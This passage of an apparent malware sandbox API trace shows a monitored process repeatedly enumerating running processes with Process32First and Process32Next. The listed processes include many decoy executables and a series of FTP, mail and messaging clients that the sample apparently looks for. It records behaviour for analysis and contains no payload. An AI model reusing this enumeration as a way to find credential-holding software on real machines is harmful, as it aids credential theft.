szExeFile="spgagentservice.exe")) returned 1 [0123.078] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0123.080] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0123.082] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0123.084] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0123.086] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.091] Process32Next (in: hSnapshot=0x2074, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0123.093] CloseHandle (hObject=0x2074) returned 1 [0123.093] Sleep (dwMilliseconds=0x64) [0123.212] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2044 [0123.234] Process32First (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.259] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.261] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.264] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.267] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.270] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.273] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.276] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.278] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.281] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.284] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.286] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.289] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.292] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.295] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.298] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.300] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.303] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.345] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.356] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.359] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0123.362] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.364] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.368] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0123.370] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0123.373] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0123.375] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0123.378] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0123.381] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0123.384] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0123.386] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.389] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.391] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0123.394] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.396] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0123.399] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.401] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.403] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.406] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0123.408] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0123.411] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0123.414] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0123.416] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0123.418] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0123.421] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0123.424] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0123.426] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0123.429] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0123.432] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0123.434] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0123.436] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0123.439] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0123.442] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0123.445] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0123.447] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0123.449] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0123.452] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0123.455] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0123.493] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0123.499] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0123.502] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0123.507] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0123.511] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0123.515] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0123.519] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0123.524] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0123.527] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0123.530] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0123.533] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0123.536] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0123.539] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0123.543] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0123.546] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0123.549] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0123.552] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0123.555] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0123.558] Process32Next (in: hSnapshot=0x2044, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0123.562] Process32Next (in: 